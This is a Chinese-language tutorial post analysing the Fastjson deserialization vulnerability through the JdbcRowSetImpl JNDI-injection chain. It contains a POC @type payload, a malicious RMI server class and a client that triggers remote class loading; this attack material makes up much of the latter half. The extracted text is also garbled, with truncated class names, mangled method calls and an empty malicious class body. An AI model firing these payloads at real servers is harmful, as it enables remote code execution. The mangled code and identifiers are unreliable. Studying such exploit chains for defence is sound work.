Fastjson反序列化漏洞分析--JdbcRowSetImpl利⽤链Fastjson反序列化漏洞分析--JdbcRowSetImpl利⽤链
前⾔
这段时间在学习渗透测试的相关知识,看了⼀些关于 Fastjson 反序列化漏洞分析的和,这⾥复现⼀下。
Fastjson简介
Fastjson 是 Alibaba 开发的Java语⾔编写的⾼性能 JSON 库,⽤于将数据在 JSON 和 Java Object 之间互相转换,提供两个主要接
⼝JSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
Fastjson序列化与反序列化
⼀、序列化
序列化可以理解为就是将对象转化为字节流,字节流中包括这个对象的数据和信息,序列化和反序列化便于类的持久保存,并且很利于⽹络传输。
Student.java
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
/
/ Runtime().exec("")
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
通过 Ser.java 进⾏序列化:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("test");
student.setAge(80);
String jsonstring1 = JSONString(student, SerializerFeature.WriteClassName); // 带属性值
String jsonstring2 = JSONString(student); // 不带属性值 SerializerFeature.WriteClassName
System.out.println(jsonstring1);
System.out.println(jsonstring2);
}
}
第⼀种序列化⽅式传⼊⼀个 Json 对象即Student 和另⼀个参数SerializerFeature.WriteClassName;⽽第⼆种序列化⽅式直接传⼊Student ,执⾏结果如:
可以看到,设置之后在序列化的时候会多写⼊⼀个@type,即写上被序列化的类名,@type可以指定反序列化的类,并且调⽤其getter/setter/is
⽅法。
⼆、反序列化
反序列化是通过这条字节流的数据和信息,将它还原成⼀个类
通过UnSer.java反序列化:
⾸先对普通的 Json 字符串做反序列化,在做反序列化时使⽤两种⽅式,即parser和parserObject,区别在于parserObject做反序列化的时候指定⼀个对象,得到的结果:
第⼀种得到的是⼀个JSONObject对象,⽽并不是⼀个我们需要反序列化的对象Student ;使⽤parserObject指定⼀个对象得到的结果为我们需要得到的对象Student 。对⼀个具有@type的 Json 字符串做反序列化:
得到的结果:
可以看到,两种⽅式都可以成功的反序列化出Student。通过以上分析,可以看到@type的作⽤,但 fastjson 漏洞就是因为@type所导致了fastjson 反序列化漏洞。
Fastjson反序列化流程分析
跟进 UnSer.java 中parser:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, GlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
这⾥会创建⼀个 DefaultJSONParser 对象,跟⼊:
由于传⼊的是以{开头,返回⼀个LBRACE,在进⼊判断:
由于返回的是LBRACE,在第⼀⾏会创建⼀个空的 JSONObject,再调⽤parseObject()进⾏解析,跟进:
进⾏判断key==Json.DEFAULT_TYPE_KEY
这⾥Json.DEFAULT_TYPE_KEY就为@type,判断通过,进⼊if语句
ObjectDeserializer deserializer = Deserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
接着创建了ObjectDeserializer类并调⽤了deserialze⽅法,后续跟进getDeserializer⽅法,可以发现执⾏反序列化操作。
Fastjson反序列化漏洞
知道了 Fastjson 的@type,所以也就能想到反序列化漏洞产⽣的原因是 get 或 set ⽅法中存在恶意操作,以下⾯ Student.java 为例:
fastjson怎么用public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
Unser.java
指定到包含恶意代码的恶意类Student,反序列后,执⾏恶意代码:
可以看到执⾏恶意代码Runtime().exec(""),调出计算器。
JdbcRowSetImpl利⽤链
上⾯分析了可以在类中添加恶意代码的⽅式进⾏恶意命令执⾏,但是在实际上,上⾯的Student.java是存在于服务器端的,作为⽤户,我们很难更改。对于 Fastjson 1.2.22-1.2.24 我们可以通过两条利⽤链——JdbcRowSetImpl 和 Templateslmpl。今天主要介绍JdbcRowSetImpl利⽤链,JdbcRowSetImpl利⽤链最终的结果是导致 JNDI 注⼊。
JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是⼀组应⽤程序接⼝,它为开发⼈员查和访
问各种资源提供了统⼀的通⽤接⼝,可以⽤来定位⽤户、⽹络、机器、对象和服务等各种资源。⽐如可以利⽤JNDI在局域⽹上定位⼀台打印机,也可以⽤JNDI来定位数据库服务或⼀个远程Java对象。JNDI底层⽀持RMI远程对象,RMI注册的服务可以通过JNDI接⼝来访问和调⽤。
JNDI⽀持多种命名和⽬录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应⽤接⼝对RMI中注册的远程对象进⾏访问操作。将RMI服务绑定到JNDI的⼀个好处是更加透明、统⼀和松散耦合,RMI客户端直接通过URL来定位⼀个远程对象,⽽且该RMI服务可以和包含⼈员,组织和⽹络资源等信息的企业⽬录链接在⼀起。
JNDI接⼝在初始化时,可以将RMI URL作为参数传⼊,⽽JNDI注⼊出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。
POC
POC 如下,@type指向wset.JdbcRowSetImpl类,dataSourceName值为 RMI 服务中⼼绑定的 Exploit 服务,autoCommit有且必须为 true 或false 等布尔值类型:
{"@type":"wset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端 JNDIServer.java
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = ateRegistry(1099);
Reference reference = new Reference("Exloit",
"ample2.badClassName","127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
远程恶意类 ample2.badClassName.class,同样是调出计算器程序。
public class badClassName {
static{
try{
}catch(Exception e){
;
}
}
}
客户端 JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"wset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
当执⾏JSON.parse(payload);进⾏反序列化时,JdbcRowSetImpl类远程调⽤写好的badClassName.class,执⾏恶意代码。
JdbcRowSetImpl 这个类是JDK⾃带的,所以⽆论服务端⽤什么写,都能到。
漏洞分析
跟进JdbcRowSetImpl.class,进⼊到setDataSourceNmame():
因为初始化的时候getDataSourceNmame()为空,进⼊else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传⼊setDataSourceNmame()。接着调⽤setAutoCommit()函数:
设置autoCommit值,其中调⽤了connect()函数:
这⾥的getDataSourceName()是我们在前⾯setDataSourceName()⽅法中设置的值rmi://127.0.0.1:1099/badClassName,是我们可控的,⽽lookup()远程加
载getDataSourceName(),所以就造成了JNDI注⼊漏洞。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论